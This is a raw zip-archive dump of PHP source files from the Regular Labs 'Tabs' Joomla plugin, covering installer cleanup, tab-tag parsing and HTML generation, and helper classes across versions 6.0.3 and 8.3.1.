		$params = json_decode($params);

		if (!isset($params->key))
		{
			return;
		}

		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote(''))
			->where(array(
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.nonumber.nl%'),
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'),
			), 'OR');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%&pro=1%'))
			->where(array(
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.nonumber.nl%'),
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'),
			), 'OR');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->deleteFolders(array(JPATH_ADMINISTRATOR . '/cache/regularlabs'));
		$this->deleteFolders(array(JPATH_ADMINISTRATOR . '/cache/nonumber'));
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$installed_languages = array_merge(
			JFolder::folders(JPATH_SITE . '/language'),
			JFolder::folders(JPATH_ADMINISTRATOR . '/language')
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language'),
			$installed_languages
		);

		$delete_languages = array();

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/' . $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->deleteFolders($delete_languages);
	}
}
PK�(]B��}}system/tabs/helpers/head.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemTabsHelperHead
{
	var $helpers = array();
	var $params  = null;

	public function __construct()
	{
		require_once __DIR__ . '/helpers.php';
		$this->helpers = PlgSystemTabsHelpers::getInstance();
		$this->params  = $this->helpers->getParams();
	}

	public function addHeadStuff()
	{
		// do not load scripts/styles on feeds or print pages
		if (RLFunctions::isFeed() || JFactory::getApplication()->input->getInt('print', 0))
		{
			return;
		}

		require_once JPATH_LIBRARIES . '/regularlabs/helpers/functions.php';

		if ($this->params->load_bootstrap_framework)
		{
			JHtml::_('bootstrap.framework');
		}


		$script = '
			var rl_tabs_use_hash = ' . (int) $this->params->use_hash . ';
			var rl_tabs_reload_iframes = ' . (int) $this->params->reload_iframes . ';
			var rl_tabs_init_timeout = ' . (int) $this->params->init_timeout . ';
		';
		JFactory::getDocument()->addScriptDeclaration('/* START: Tabs scripts */ ' . preg_replace('#\n\s*#s', ' ', trim($script)) . ' /* END: Tabs scripts */');

		RLFunctions::script('tabs/script.min.js', ($this->params->media_versioning ? '6.0.3' : false));

		if ($this->params->load_stylesheet)
		{
			RLFunctions::stylesheet('tabs/style.min.css', ($this->params->media_versioning ? '6.0.3' : false));
		}

	}

	public function removeHeadStuff(&$html)
	{
		// Don't remove if tabs class is found
		if (strpos($html, 'class="rl_tabs-tab') !== false)
		{
			return;
		}

		// remove style and script if no items are found
		$html = preg_replace('#\s*<' . 'link [^>]*href="[^"]*/(tabs/css|css/tabs)/[^"]*\.css[^"]*"[^>]*( /)?>#s', '', $html);
		$html = preg_replace('#\s*<' . 'script [^>]*src="[^"]*/(tabs/js|js/tabs)/[^"]*\.js[^"]*"[^>]*></script>#s', '', $html);
		$html = preg_replace('#((?:;\s*)?)(;?)/\* START: Tabs .*?/\* END: Tabs [a-z]* \*/\s*#s', '\1', $html);
	}
}
PK�(]6�Ɉ�[�[system/tabs/helpers/replace.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemTabsHelperReplace
{
	var $helpers = array();
	var $params  = null;
	var $context = '';

	public function __construct()
	{
		require_once __DIR__ . '/helpers.php';
		$this->helpers = PlgSystemTabsHelpers::getInstance();
		$this->params  = $this->helpers->getParams();

		// Tag character start and end
		list($tag_start, $tag_end) = $this->getTagCharacters(true);

		// Break/paragraph start and end tags
		$this->params->breaks_start = RLTags::getRegexSurroundingTagPre(array('div', 'p', 'span', 'h[0-6]'));
		$this->params->breaks_end   = RLTags::getRegexSurroundingTagPost(array('div', 'p', 'span', 'h[0-6]'));
		$breaks_start               = $this->params->breaks_start;
		$breaks_end                 = $this->params->breaks_end;
		$inside_tag                 = RLTags::getRegexInsideTag();

		$this->params->tag_delimiter = ($this->params->tag_delimiter == 'space') ? RLTags::getRegexSpaces() : '=';
		$delimiter                   = $this->params->tag_delimiter;
		$sub_id                      = '(?:-[a-zA-Z0-9-_]+)?';

		$this->params->regex = '#'
			. '(?P<pre>' . $breaks_start . ')'
			. $tag_start . '(?P<tag>'
			. $this->params->tag_open . 's?' . '(?P<setid>' . $sub_id . ')' . $delimiter . '(?P<data>' . $inside_tag . ')'
			. '|/' . $this->params->tag_close . $sub_id
			. ')' . $tag_end
			. '(?P<post>' . $breaks_end . ')'
			. '#s';

		$this->params->regex_end = '#'
			. '(?P<pre>' . $breaks_start . ')'
			. $tag_start . '/' . $this->params->tag_close . $sub_id . $tag_end
			. '(?P<post>' . $breaks_end . ')'
			. '#s';

		$this->params->regex_link = '#'
			. $tag_start . $this->params->tag_link . $sub_id . $delimiter . '(?P<id>' . $inside_tag . ')' . $tag_end
			. '(?P<text>.*?)'
			. $tag_start . '/' . $this->params->tag_link . $tag_end
			. '#s';

		$this->ids      = array();
		$this->matches  = array();
		$this->allitems = array();
		$this->setcount = 0;

		$this->setMainParameters();
	}

	private function setMainParameters()
	{
		if (!$this->params->alignment)
		{
			$this->params->alignment = JFactory::getLanguage()->isRTL() ? 'right' : 'left';
		}
		$this->params->alignment = 'align_' . $this->params->alignment;

		$positioning = 'top';
		$this->params->positioning = $positioning;

		$this->mainclass = trim('rl_tabs nn_tabs ' . $this->params->mainclass);

		$this->params->use_responsive_view = false;
	}

	public function replaceTags(&$string, $area = 'article', $context = '')
	{
		if (!is_string($string) || $string == '')
		{
			return;
		}

		$this->context = $context;

		// Check if tags are in the text snippet used for the search component
		if (strpos($context, 'com_search.') === 0)
		{
			$limit = explode('.', $context, 2);
			$limit = (int) array_pop($limit);

			$string_check = substr($string, 0, $limit);

			if (
				strpos($string_check, $this->params->tag_character_start . $this->params->tag_open) === false
				&& strpos($string_check, $this->params->tag_character_start . $this->params->tag_link) === false
			)
			{
				return;
			}
		}

		// allow in component?
		if (RLProtect::isRestrictedComponent(isset($this->params->disabled_components) ? $this->params->disabled_components : array(), $area))
		{

			$this->helpers->get('protect')->protect($string);

			$this->handlePrintPage($string);

			RLProtect::unprotect($string);

			return;
		}

		if (
			strpos($string, $this->params->tag_character_start . $this->params->tag_open) === false
			&& strpos($string, $this->params->tag_character_start . $this->params->tag_link) === false
		)
		{
			// Links with #tab-name or &tab=tab-name
			$this->replaceLinks($string);

			return;
		}

		$this->helpers->get('protect')->protect($string);

		list($pre_string, $string, $post_string) = RLText::getContentContainingSearches(
			$string,
			array(
				$this->params->tag_character_start . $this->params->tag_open,
				$this->params->tag_character_start . $this->params->tag_link,
			),
			array(
				$this->params->tag_character_start . '/' . $this->params->tag_close . $this->params->tag_character_end,
				$this->params->tag_character_start . '/' . $this->params->tag_link . $this->params->tag_character_end,
			)
		);

		if (JFactory::getApplication()->input->getInt('print', 0))
		{
			// Replace syntax with general html on print pages
			$this->handlePrintPage($string);

			$string = $pre_string . $string . $post_string;

			RLProtect::unprotect($string);

			return;
		}

		$sets = $this->getSets($string);
		$this->initSets($sets);

		// Tag syntax: {tab ...}
		$this->replaceSyntax($string, $sets);

		// Closing tag: {/tab}
		$this->replaceClosingTag($string);

		// Links with #tab-name or &tab=tab-name
		$this->replaceLinks($string);

		// Link tag {tablink ...}
		$this->replaceLinkTag($string);

		$string = $pre_string . $string . $post_string;

		RLProtect::unprotect($string);
	}

	private function handlePrintPage(&$string)
	{
		if (substr($this->params->regex, -1) != 'u' && @preg_match($this->params->regex . 'u', $string))
		{
			$this->params->regex .= 'u';
		}

		preg_match_all($this->params->regex, $string, $matches, PREG_SET_ORDER);

		if (!empty($matches))
		{
			foreach ($matches as $match)
			{
				$tag = RLText::cleanTitle($match['data'], false, false);
				$this->setTagValues($item, $tag);

				$title = isset($item->title) ? trim($item->title) : 'Tab';

				$id    = RLText::cleanTitle($title, true);
				$title = preg_replace('#<\?h[0-9](\s[^>]* )?>#', '', $title);

				$replace = '<' . $this->params->title_tag . ' class="rl_tabs-title nn_tabs-title">'
					. '<a id="anchor-' . $id . '" class="anchor"></a>'
					. $title
					. '</' . $this->params->title_tag . '>';
				$string  = str_replace($match['0'], $replace, $string);
			}
		}

		preg_match_all($this->params->regex_end, $string, $matches, PREG_SET_ORDER);

		if (!empty($matches))
		{
			foreach ($matches as $match)
			{
				$string = str_replace($match['0'], '', $string);
			}
		}

		if (substr($this->params->regex_link, -1) != 'u' && @preg_match($this->params->regex_link . 'u', $string))
		{
			$this->params->regex_link .= 'u';
		}

		preg_match_all($this->params->regex_link, $string, $matches, PREG_SET_ORDER);

		if (!empty($matches))
		{
			foreach ($matches as $match)
			{
				$href   = RLText::getURI($match['id']);
				$link   = '<a href="' . $href . '">' . $match['text'] . '</a>';
				$string = str_replace($match['0'], $link, $string);
			}
		}
	}

	public function getSets(&$string, $only_basic_details = false)
	{
		if (substr($this->params->regex, -1) != 'u' && @preg_match($this->params->regex . 'u', $string))
		{
			$this->params->regex .= 'u';
		}

		preg_match_all($this->params->regex, $string, $matches, PREG_SET_ORDER);

		if (empty($matches))
		{
			return array();
		}

		$sets   = array();
		$setids = array();


		foreach ($matches as $match)
		{
			if (substr($match['tag'], 0, 1) == '/')
			{

				array_pop($setids);
				continue;
			}

			end($setids);

			$item = new stdClass;

			// Set the values from the tag
			$tag = RLText::cleanTitle($match['data'], false, false);
			$this->setTagValues($item, $tag);

			if ($only_basic_details)
			{
				if (!isset($sets['basic']))
				{
					$sets['basic'] = array();
				}

				$sets['basic'][] = $item;
				continue;
			}

			$item->orig  = $match['0'];
			$item->setid = trim(str_replace('-', '_', $match['setid']));

			if (empty($setids) || current($setids) != $item->setid)
			{
				$this->setcount++;
				$setids[$this->setcount . '.'] = $item->setid;
			}

			$item->set = str_replace('__', '_', array_search($item->setid, array_reverse($setids)) . $item->setid);
			if (!isset($sets[$item->set]))
			{
				$sets[$item->set] = array();
			}

			list($item->pre, $item->post) = RLTags::cleanSurroundingTags(
				array($match['pre'], $match['post']),
				array('div', 'p', 'span', 'h[0-6]')
			);


			$sets[$item->set][] = $item;
		}


		return $sets;
	}

	private function getParent(&$sets, $item, $prev_item, $setid, $prev_setid)
	{
		if (!$prev_item)
		{
			return '';
		}

		if (count($sets[$item->set]))
		{
			$last_item = end($sets[$item->set]);
			reset($sets[$item->set]);

			return $last_item->parent;
		}

		if ($prev_setid != $setid)
		{
			$sets[$prev_item->set][$prev_item->id]->children[] = $item->set;

			return $prev_item->set . $prev_item->id;
		}

		return '';
	}


	private function initSets(&$sets)
	{
		$urlitem   = JFactory::getApplication()->input->get('tab');
		$itemcount = 0;

		foreach ($sets as $set_id => $items)
		{
			$opened_by_default = 0;

			foreach ($items as $i => $item)
			{
				$item->title      = isset($item->title) ? trim($item->title) : 'Tab';
				$item->title_full = $item->title;

				if (isset($item->{'title-opened'}) || isset($item->{'title-closed'}))
				{
					$title_closed = isset($item->{'title-closed'}) ? $item->{'title-closed'} : $item->title;
					$title_opened = isset($item->{'title-opened'}) ? $item->{'title-opened'} : $item->title;

					// Set main title to the title-opened, otherwise to title-closed
					$item->title = $title_opened ?: ($title_closed ?: $item->title);

					// place the title-opened and title-closed in css controlled spans
					$item->title_full = '<span class="rl_tabs-title-inactive nn_tabs-title-inactive">' . $title_closed . '</span>'
						. '<span class="rl_tabs-title-active nn_tabs-title-active">' . $title_opened . '</span>';
				}

				$item->haslink = preg_match('#<a [^>]*>.*?</a>#usi', $item->title);

				$item->title = RLText::cleanTitle($item->title, true);
				$item->title = $item->title ?: RLText::getAttribute('title', $item->title_full);
				$item->title = $item->title ?: RLText::getAttribute('alt', $item->title_full);

				$item->alias = RLText::createAlias(isset($item->alias) ? $item->alias : $item->title);
				$item->alias = $item->alias ?: 'tab';

				$item->id    = $this->createId($item->alias);
				$item->set   = (int) $set_id;
				$item->count = $i + 1;


				$set_keys = array(
					'class', 'open', 'title_tag', 'onclick',
				);
				foreach ($set_keys as $key)
				{
					$item->{$key} = isset($item->{$key})
						? $item->{$key}
						: (isset($this->params->{$key}) ? $this->params->{$key} : '');
				}

				$item->matches   = RLText::createUrlMatches(array($item->id, $item->title));
				$item->matches[] = ++$itemcount . '';
				$item->matches[] = $item->set . '.' . ($i + 1);
				$item->matches[] = $item->set . '-' . ($i + 1);

				$item->matches = array_unique($item->matches);
				$item->matches = array_diff($item->matches, $this->matches);
				$this->matches = array_merge($this->matches, $item->matches);

				if ($this->itemIsOpen($item, $urlitem, $i == 0))
				{
					$opened_by_default = $i;
				}

				// Will be set after all items are checked based on the $opened_by_default id
				$item->open = false;

				$sets[$set_id][$i] = $item;
				$this->allitems[]  = $item;
			}

			$this->setOpenItem($sets[$set_id], $opened_by_default);
		}
	}

	private function itemIsOpen($item, $urlitem, $is_first = false)
	{

		if ($item->haslink)
		{
			return false;
		}

		if (!empty($item->close))
		{
			return false;
		}

		if (isset($item->open))
		{
			return $item->open;
		}

		if ($urlitem && in_array($urlitem, $item->matches))
		{
			return true;
		}

		if ($is_first)
		{
			return true;
		}

		return false;
	}

	private function setOpenItem(&$items, $opened_by_default = 0)
	{
		$opened_by_default = (int) $opened_by_default;

		while (isset($items[$opened_by_default]) && $items[$opened_by_default]->haslink)
		{
			$opened_by_default++;
		}

		if (!isset($items[$opened_by_default]))
		{
			return;
		}

		$items[$opened_by_default]->open = true;
	}

	private function setTagValues(&$item, $string)
	{
		$values = $this->getTagValues($string);

		$item = (object) array_merge((array) $item, (array) $values);
	}

	private function getTagValues($string)
	{

		RLTags::protectSpecialChars($string);

		$is_old = (strpos($string, '|') !== false);

		if ($is_old)
		{
			// Fix some different old syntaxes
			$string = str_replace(
				array(
					'|alias:',
					'|align_',
				),
				array(
					'|alias=',
					'|align=',
				),
				$string
			);
		}

		RLTags::unprotectSpecialChars($string);

		$known_boolean_keys = array(
			'open', 'active', 'opened', 'default',
			'scroll', 'noscroll',
			'nooutline', 'outline_handles', 'outline_content', 'color_inactive_handles',
		);

		// Get the values from the tag
		$values = RLTags::getValuesFromString($string, 'title', $known_boolean_keys);

		$key_aliases = array(
			'title'        => array('name'),
			'title-opened' => array('title-open', 'title-active'),
			'title-closed' => array('title-close', 'title-inactive'),
			'open'         => array('active', 'opened', 'default'),
			'access'       => array('accesslevels', 'accesslevel'),
			'usergroup'    => array('usergroups'),
			'position'     => array('positioning'),
			'align'        => array('alignment'),
		);

		RLTags::replaceKeyAliases($values, $key_aliases);

		if ($is_old)
		{
			$this->setPositionFromOldClasses($values);
		}

		return $values;
	}

	private function setPositionFromOldClasses(&$values)
	{
		if (empty($values->class) || !empty($values->position))
		{
			return;
		}

		$classes   = explode(' ', $values->class);
		$positions = array('top', 'bottom', 'left', 'right');
		$found     = array_intersect($classes, $positions);

		if (empty($found))
		{
			return;
		}

		$position = array_shift($found);

		$classes = array_diff($classes, array($position));

		$values->class    = implode(' ', $classes);
		$values->position = $position;
	}

	private function replaceSyntax(&$string, $sets)
	{
		if (!preg_match($this->params->regex_end, $string))
		{
			return;
		}

		foreach ($sets as $items)
		{
			$this->replaceSyntaxItemList($string, $items);
		}
	}

	private function replaceSyntaxItemList(&$string, $items)
	{
		$first = key($items);
		end($items);

		foreach ($items as $i => &$item)
		{
			$this->replaceSyntaxItem($string, $item, $items, ($i == $first));
		}
	}

	private function replaceSyntaxItem(&$string, $item, $items, $first = 0)
	{
		$s = '#' . preg_quote($item->orig, '#') . '#';
		if (@preg_match($s . 'u', $string))
		{
			$s .= 'u';
		}

		if (!preg_match($s, $string, $match))
		{
			return;
		}

		$html   = array();
		$html[] = $item->post;
		$html[] = $item->pre;

		if (!in_array($this->context, array('com_search.search', 'com_finder.indexer')))
		{
			$html[] = $this->getPreHtml($item, $items, $first);
		}

		$class = $this->getItemClass($item, 'tab-pane rl_tabs-pane nn_tabs-pane');

		$html[] = '<div class="' . trim($class) . '" id="' . $item->id . '"'
			. ' role="tabpanel" aria-labelledby="tab-' . $item->id . '" aria-hidden="' . ($item->open ? 'false' : 'true') . '">';

		if (!$item->haslink)
		{
			$class = 'anchor';
			$html[] = '<' . $this->params->title_tag . ' class="rl_tabs-title nn_tabs-title">'
				. '<a id="anchor-' . $item->id . '" class="' . $class . '"></a>'
				. $item->title . '</' . $item->title_tag . '>';
		}

		$html   = implode("\n", $html);
		$string = RLText::strReplaceOnce($match['0'], $html, $string);
	}

	private function getPreHtml($item, $items, $first = 0)
	{
		if (!$first)
		{
			return '</div>';
		}

		$class = $this->getMainClasses($item);


		$html[] = '<div class="' . trim($class) . '">';
		$html[] = $this->getNav($items);
		$html[] = '<div class="tab-content">';

		return implode("\n", $html);
	}

	private function getMainClasses($item)
	{
		$classes = array($this->mainclass);

		if (!empty($item->mainclass))
		{
			$classes[] = $item->mainclass;
		}

		if (!empty($item->nooutline))
		{
			$item->outline_handles = false;
			$item->outline_content = false;
		}

		if (!empty($item->outline_handles) || !empty($item->outline_content))
		{
			$item->nooutline = false;
		}

		$settings = array(
			'nooutline',
			'outline_handles',
			'outline_content',
			'color_inactive_handles',
		);
		$this->addClassesBySettings($item, $classes, $settings);

		$align = isset($item->align) ? 'align_' . $item->align : $this->params->alignment;
		$position = 'top';

		$classes[] = $position;
		$classes[] = $align;

		$classes = array_diff($classes, array(''));

		return trim(implode(' ', $classes));
	}

	private function getItemClass($item, $mainclass = 'rl_tabs-tab nn_tabs-tab')
	{
		$class = array($mainclass);

		if ($item->open)
		{
			$class[] = 'active';
		}

		if (!empty($item->mode))
		{
			$class[] = $item->mode == 'hover' ? 'hover' : 'click';
		}

		$class[] = trim($item->class);

		return trim(implode(' ', $class));
	}

	private function addClassesBySettings($item, &$classes, $settings = '')
	{
		foreach ($settings as $setting)
		{
			$this->addClassBySetting($item, $classes, $setting);
		}
	}

	private function addClassBySetting($item, &$classes, $setting = '')
	{
		if (
			(empty($item->{$setting}) && empty($this->params->{$setting}))
			|| (isset($item->{$setting}) && !$item->{$setting})
		)
		{
			return;
		}

		$classes[] = $setting;
	}

	private function replaceClosingTag(&$string)
	{
		preg_match_all($this->params->regex_end, $string, $matches, PREG_SET_ORDER);

		if (empty($matches))
		{
			return;
		}

		foreach ($matches as $match)
		{
			$html = '</div></div></div>';


			list($pre, $post) = RLTags::cleanSurroundingTags(array($match['pre'], $match['post']));

			$html = $pre . $html . $post;

			$string = RLText::strReplaceOnce($match['0'], $html, $string);
		}
	}

	private function replaceLinks(&$string)
	{
		// Links with #tab-name
		$this->replaceAnchorLinks($string);
		// Links with &tab=tab-name
		$this->replaceUrlLinks($string);
	}

	private function replaceAnchorLinks(&$string)
	{
		preg_match_all(
			'#(?P<link><a\s[^>]*href="(?P<url>([^"]*)?)\#(?P<id>[^"]*)"[^>]*>)(?P<text>.*?)</a>#si',
			$string,
			$matches,
			PREG_SET_ORDER
		);

		if (empty($matches))
		{
			return;
		}

		$this->replaceLinksMatches($string, $matches);
	}

	private function replaceUrlLinks(&$string)
	{
		preg_match_all(
			'#(?P<link><a\s[^>]*href="(?P<url>[^"]*)(?:\?|&(?:amp;)?)tab=(?P<id>[^"\#&]*)(?:\#[^"]*)?"[^>]*>)(?P<text>.*?)</a>#si',
			$string,
			$matches,
			PREG_SET_ORDER
		);

		if (empty($matches))
		{
			return;
		}

		$this->replaceLinksMatches($string, $matches);
	}

	private function replaceLinksMatches(&$string, $matches)
	{
		$uri            = JUri::getInstance();
		$current_urls   = array();
		$current_urls[] = $uri->toString(array('path'));
		$current_urls[] = $uri->toString(array('scheme', 'host', 'path'));
		$current_urls[] = $uri->toString(array('scheme', 'host', 'port', 'path'));

		foreach ($matches as $match)
		{
			$link = $match['link'];

			if (
				strpos($link, 'data-toggle=') !== false
				|| strpos($link, 'onclick=') !== false
				|| strpos($link, 'rl_tabs-toggle-sm') !== false
				|| strpos($link, 'rl_tabs-link') !== false
				|| strpos($link, 'rl_sliders-link') !== false
			)
			{
				continue;
			}

			$url = $match['url'];
			if (strpos($url, 'index.php/') === 0)
			{
				$url = '/' . $url;
			}

			if (strpos($url, 'index.php') === 0)
			{
				$url = JRoute::_($url);
			}

			if ($url != '' && !in_array($url, $current_urls))
			{
				continue;
			}

			$id = $match['id'];

			if (!$this->stringHasItem($string, $id))
			{
				// This is a link to a normal anchor or other element on the page
				// Remove the prepending obsolete url and leave the hash
				// $string = str_replace('href="' . $match['url'] . '#' . $id . '"', 'href="#' . $id . '"', $string);

				continue;
			}

			$attribs = $this->getLinkAttributes($id);

			// Combine attributes with original
			$attribs = RLText::combineAttributes($link, $attribs);

			$html = '<a ' . $attribs . '><span class="rl_tabs-link-inner nn_tabs-link-inner">' . $match['text'] . '</span></a>';

			$string = str_replace($match['0'], $html, $string);
		}
	}

	private function replaceLinkTag(&$string)
	{
		if (substr($this->params->regex_link, -1) != 'u' && @preg_match($this->params->regex_link . 'u', $string))
		{
			$this->params->regex_link .= 'u';
		}

		preg_match_all($this->params->regex_link, $string, $matches, PREG_SET_ORDER);

		if (empty($matches))
		{
			return;
		}

		foreach ($matches as $match)
		{
			$this->replaceLinkTagMatch($string, $match);
		}
	}

	private function replaceLinkTagMatch(&$string, $match)
	{
		$id = RLText::createAlias($match['id']);

		if (!$this->stringHasItem($string, $id))
		{
			$id = $this->findItemByMatch($match['id']);
		}

		if (!$this->stringHasItem($string, $id))
		{
			$html = '<a href="' . RLText::getURI($id) . '">' . $match['text'] . '</a>';

			$string = RLText::strReplaceOnce($match['0'], $html, $string);

			return;
		}

		$html = '<a ' . $this->getLinkAttributes($id) . '>'
			. '<span class="rl_tabs-link-inner nn_tabs-link-inner">' . $match['text'] . '</span>'
			. '</a>';

		$string = RLText::strReplaceOnce($match['0'], $html, $string);
	}

	private function findItemByMatch($id)
	{
		foreach ($this->allitems as $item)
		{
			if (!in_array($id, $item->matches))
			{
				continue;
			}

			return $item->id;
		}

		return $id;
	}

	private function getLinkAttributes($id)
	{
		return 'href="' . RLText::getURI($id) . '"'
		. ' class="rl_tabs-link rl_tabs-link-' . $id . ' nn_tabs-link nn_tabs-link-' . $id . '"'
		. ' data-id="' . $id . '"';
	}

	private function stringHasItem(&$string, $id)
	{
		return (strpos($string, 'data-toggle="tab" data-id="' . $id . '"') !== false);
	}

	private function getNav(&$items)
	{
		$html = array();

		$ul_extra = '';

		// Nav for non-mobile view
		$html[] = '<a id="rl_tabs-scrollto_' . $items['0']->set . '" class="anchor rl_tabs-scroll nn_tabs-scroll"></a>';
		$html[] = '<ul class="nav nav-tabs" id="set-rl_tabs-' . $items['0']->set . '" role="tablist"' . $ul_extra . '>';
		foreach ($items as $item)
		{
			$html[] = '<li class="' . $this->getItemClass($item) . '"'
				. ' role="presentation">';

			if ($item->haslink)
			{
				$html[] = $item->title_full;
				$html[] = '</li>';
				continue;
			}

			$class = 'rl_tabs-toggle nn_tabs-toggle';

			$onclick = '';

			$html[] = '<a href="#' . $item->id . '" class="' . $class . '"' . $onclick
				. ' id="tab-' . $item->id . '"'
				. ' data-toggle="tab" data-id="' . $item->id . '"'
				. ' role="tab" aria-controls="' . $item->id . '" aria-selected="' . ($item->open ? 'true' : 'false') . '"'
				. '>'
				. '<span class="rl_tabs-toggle-inner nn_tabs-toggle-inner">'
				. $item->title_full
				. '</span></a>';
			$html[] = '</li>';
		}
		$html[] = '</ul>';

		return implode("\n", $html);
	}


	private function createId($alias)
	{
		$id = $alias;

		$i = 1;
		while (in_array($id, $this->ids))
		{
			$id = $alias . '-' . ++$i;
		}

		$this->ids[] = $id;

		return $id;
	}

	public function getTagCharacters($quote = false)
	{
		if (!isset($this->params->tag_character_start))
		{
			list($this->params->tag_character_start, $this->params->tag_character_end) = explode('.', $this->params->tag_characters);
		}

		$start = $this->params->tag_character_start;
		$end   = $this->params->tag_character_end;

		if ($quote)
		{
			$start = preg_quote($start, '#');
			$end   = preg_quote($end, '#');
		}

		return array($start, $end);
	}
}
PK�(]��system/tabs/helpers/clean.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemTabsHelperClean
{
	var $helpers = array();
	var $params  = null;

	public function __construct()
	{
		require_once __DIR__ . '/helpers.php';
		$this->helpers = PlgSystemTabsHelpers::getInstance();
		$this->params  = $this->helpers->getParams();
	}

	/**
	 * Just in case you can't figure the method name out: this cleans the left-over junk
	 */
	public function cleanLeftoverJunk(&$string)
	{
		$this->helpers->get('protect')->unprotectTags($string);

		RLProtect::removeFromHtmlTagContent($string, $this->params->protected_tags);
		RLProtect::removeInlineComments($string, 'Tabs');
	}
}
PK�(]8PH��system/tabs/helpers/protect.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemTabsHelperProtect
{
	var $helpers = array();
	var $params  = null;

	public function __construct()
	{
		require_once __DIR__ . '/helpers.php';
		$this->helpers = PlgSystemTabsHelpers::getInstance();
		$this->params  = $this->helpers->getParams();

		list($tag_start, $tag_end) = $this->helpers->get('replace')->getTagCharacters();

		$this->params->protected_tags = array(
			$tag_start . $this->params->tag_open,
			$tag_start . '/' . $this->params->tag_close,
			$tag_start . $this->params->tag_link,
		);
	}

	public function protect(&$string)
	{
		RLProtect::protectFields($string);
		RLProtect::protectSourcerer($string);
	}

	public function protectTags(&$string)
	{
		RLProtect::protectTags($string, $this->params->protected_tags);
	}

	public function unprotectTags(&$string)
	{
		RLProtect::unprotectTags($string, $this->params->protected_tags);
	}
}
PK�(]OU�system/tabs/helpers/helpers.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemTabsHelpers
{
	protected static $instance = null;
	protected static $params   = null;
	var              $helpers  = array();

	public static function getInstance($params = 0)
	{
		if (!self::$instance)
		{
			self::$instance = new static;
		}

		if ($params)
		{
			self::$params = $params;
		}

		return self::$instance;
	}

	public function getParams()
	{
		return self::$params;
	}

	public function get($name)
	{
		if (isset($this->helpers[$name]))
		{
			return $this->helpers[$name];
		}

		require_once __DIR__ . '/' . $name . '.php';
		$class                = rtrim(__CLASS__, 's') . ucfirst($name);
		$this->helpers[$name] = new $class;

		return $this->helpers[$name];
	}
}
PK�(]�DPPsystem/tabs/src/Protect.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use RegularLabs\Library\Protect as RL_Protect;

class Protect
{
    static $name = 'Tabs';

    public static function _(&$string)
    {
        RL_Protect::protectHtmlCommentTags($string);
        RL_Protect::protectFields($string, Params::getTags(true));
        RL_Protect::protectSourcerer($string);
    }

    /**
     * Get the html end comment tags
     *
     * @return string
     */
    public static function getCommentEndTag()
    {
        return RL_Protect::getCommentEndTag(self::$name);
    }

    /**
     * Get the html start comment tags
     *
     * @return string
     */
    public static function getCommentStartTag()
    {
        return RL_Protect::getCommentStartTag(self::$name);
    }

    public static function protectTags(&$string)
    {
        RL_Protect::protectTags($string, Params::getTags(true));
    }

    public static function unprotectTags(&$string)
    {
        RL_Protect::unprotectTags($string, Params::getTags(true));
    }

    /**
     * Wrap the comment in comment tags
     *
     * @param string $comment
     *
     * @return string
     */
    public static function wrapInCommentTags($comment)
    {
        return RL_Protect::wrapInCommentTags(self::$name, $comment);
    }
}
PK�(]�׿I""system/tabs/src/Document.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
